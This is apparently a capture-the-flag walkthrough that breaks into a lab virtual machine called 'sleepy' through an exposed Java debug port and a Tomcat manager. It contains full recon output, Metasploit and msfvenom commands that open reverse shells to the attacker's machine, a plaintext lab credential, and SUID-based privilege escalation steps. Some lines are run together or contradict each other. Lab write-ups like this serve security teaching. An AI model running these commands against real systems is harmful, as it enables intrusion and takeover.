Using arp-scan as routine to detect the target’s IP address (10.1.1.142 in this case).
12345678910
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)10.1.1.1 00:50:56:c0:00:08 VMware, Inc.
10.1.1.2 00:50:56:fd:d1:6b VMware, Inc.
10.1.1.142 00:0c:29:0b:18:9f VMware, Inc.
10.1.1.254 00:50:56:ed:31:70 VMware, Inc.
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.529 seconds (101.23 hosts/sec). 4 responded
10.1.1.142 is our Target!
Then run masscan to detect opening ports on the target (masscan is much faster than nmap when doing a full ports scan, so here I use it to make a full scan and then use nmap to do a deep scan on target ports).
123456789
root@kali:~# masscan -p1-65535 10.1.1.142/32 --rate=10000
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2015-11-06 09:49:16 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]Discovered open port 8009/tcp on 10.1.1.142
Discovered open port 21/tcp on 10.1.1.142
Discovered open port 9001/tcp on 10.1.1.142
Now there are 3 ports (21, 8009, 9001) detected by masscan, then I run nmap to do a deeper service scan.
12345678910111213141516171819
# Nmap 6.49BETA4 scan initiated Fri Nov 6 04:51:36 2015 as: nmap -sV -v -A -T4 -O -p 8009,21,9001 -oN 10.1.1.142_nmap.txt 10.1.1.142Nmap scan report for 10.1.1.142
Host is up (0.00063s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_Can't get directory listing: TIMEOUT
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 00:0C:29:0B:18:9F (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 0.002 days (since Fri Nov 6 04:49:25 2015)Network Distance: 1 hop
... turncate ...
I checked the FTP first and from the nmap scanning result, Anonymous login allowed. However, there is only one PNG file (sleepy.png) in pub folder and there is no permission to upload file through anonymous account. Nothing can be found in the PNG file, so I move on.
Next is port 8009, ajp13 Apache JServ. This blog described a method to exploit Tomcat with AJP protocol. The good news is that I can touch the login page of Tomcat manager. However, after several failed trials, I still could not manage the login credential. Have to leave it for now and move on :(
The third open port is 9001 which Java Debug Wire Protocol is running on it. By searching online for any exist exploit, I found this JDWP Remote Code Execution.
Then I startup Metasploit console and get a reverse shell with this JDWP exploit:
msf > search jdwp
[!] Module database cache not built yet, using slow search
Matching Modules================ Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/misc/java_jdwp_debugger 2010-03-12 good Java Debug Wire Protocol Remote Code Execution
msf > use exploit/multi/misc/java_jdwp_debugger
msf exploit(java_jdwp_debugger) > set RHOST 10.1.1.142
RHOST=> 10.1.1.142
msf exploit(java_jdwp_debugger) > set RPORT 9001
RPORT=> 9001
msf exploit(java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
payload=> linux/x86/meterpreter/reverse_tcp
msf exploit(java_jdwp_debugger) > set LHOST 10.1.1.130
LHOST=> 10.1.1.130
msf exploit(java_jdwp_debugger) > check
[*] 10.1.1.142:9001 - The target appears to be vulnerable.
msf exploit(java_jdwp_debugger) > exploit
[*] Started reverse handler on 10.1.1.130:4444
[*] 10.1.1.142:9001 - Retrieving the sizes of variable sized data types in the target VM...
[*] 10.1.1.142:9001 - Getting the version of the target VM...
[*] 10.1.1.142:9001 - Getting all currently loaded classes by the target VM...
[*] 10.1.1.142:9001 - Getting all running threads in the target VM...
[*] 10.1.1.142:9001 - Setting 'step into' event...
[*] 10.1.1.142:9001 - Resuming VM and waiting for an event...
[*] 10.1.1.142:9001 - Received 1 responses that are not a 'step into' event...
[*] 10.1.1.142:9001 - Deleting step event...
[*] 10.1.1.142:9001 - Disabling security manager if set...
[+] 10.1.1.142:9001 - Security manager was not set[*] 10.1.1.142:9001 - Dropping and executing payload...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)[*] Sending stage (1495598 bytes) to 10.1.1.142
[*] Meterpreter session 1 opened (10.1.1.130:4444 -> 10.1.1.142:35957) at 2015-11-06 08:08:24 -0500
[+] Deleted /tmp/zNfkVK
meterpreter > sysinfo
Computer : sleepy
OS : Linux sleepy 3.10.0-123.13.2.el7.x86_64 #1 SMP Thu Dec 18 14:09:13 UTC 2014 (x86_64)Architecture : x86_64
Meterpreter : x86/linux
meterpreter > shell
Process 2878 created.
Channel 1 created.
sh: no job control in this shell
sh-4.2$ id
uid=1002(sleepy)gid=1002(sleepy)groups=1002(sleepy)context=system_u:system_r:initrc_t:s0
sh-4.2$ pwd/
Cool~ Now I get in as user sleepy!
Next thing is to find login credential of Tomcat manager page.
After poking around in the file system, I found the default Tomcat users file /etc/tomcat/tomcat-users.xml:
File /etc/tomcat/tomcat-users.xml could not be found
At the bottom of the xml file, I found the tomcat login credential in plaintext: sl33py / Gu3SSmYStR0NgPa$sw0rD!!
Now, we are on the right track and the next thing is getting clear:
Run msfvenom as follow to generate evil WAR file with reverse shell payload.
12345678910
## create evil WAR file with reverse shell payloadroot@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.130 LPORT=8888 -f war > sleepy.war
## check the WAR file and note the evil page: atodruyscupc.jsp root@kali:~# jar -xvf sleepy.war
inflated: META-INF/MANIFEST.MF
created: WEB-INF/
inflated: WEB-INF/web.xml
inflated: atodruyscupc.jsp
inflated: VFTwyDWxQug.txt
After upload and deployed the WAR file on target Tomcat server, I set up Metasploit console and access the target page http://10.1.1.130/sleepy/atodruyscupc.jsp to get a shell back as user tomcat
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST 10.1.1.130 yes The listen address
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set ExitOnSession false ExitOnSession=> falsemsf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
[*] Started reverse handler on 10.1.1.130:8888
[*] Starting the payload handler...
msf exploit(handler) > [*] Command shell session 1 opened (10.1.1.130:8888 -> 10.1.1.142:38614) at 2015-11-06 22:07:09 -0500
python -c "import pty; pty.spawn('/bin/bash');"bash-4.2$ id
id
uid=91(tomcat)gid=91(tomcat)groups=91(tomcat)context=system_u:system_r:tomcat_t:s0
bash-4.2$ pwdpwd/usr/share/tomcat
bash-4.2$
Now we have escaped priviledge to tomcat successfully!
After enmueration (g0tmi1k has made a really helpful guide for enumerating and you can find it here), I found one suspected binary file /usr/bin/nightmare which has sticky bit set and belong to ROOT group.
1234567891011121314151617181920212223
bash-4.2$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/nightmare
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib64/dbus-1/dbus-daemon-launch-helper
bash-4.2$ ls -alh /usr/bin/nightmare
ls -alh /usr/bin/nightmare
-rwsr-s---. 1 root tomcat 8.5K Jan 182015 /usr/bin/nightmare
Download the binary “/usr/bin/nightmare” to my local Kali Linux and using disassembler Radare 2 to analyze the binary.
Disassemble all functions and print the code of function ‘main’:
From the result above, I notice that there is a function sym.sigHandler be used to deal with signal SIGINT(0x2) and SIGTERM(0xf), so I decided to print it out
In this function sym.train, the attacker noticed that uid and gid have been set to ‘0’ (which is ROOT) and then make a system call with parameter str.usrbinslal.
By checking the string of “str.usrbinslal” as follow, I know the system function has been called like this system("/usr/bin/sl -al")
12
[0x004006b0]>ps@str.usrbinslal/usr/bin/sl-al
Based on g0blin’s post, I defined an evil function by using sl’s full path as the name /usr/bin/sl and then run the vulnerable program nightmare.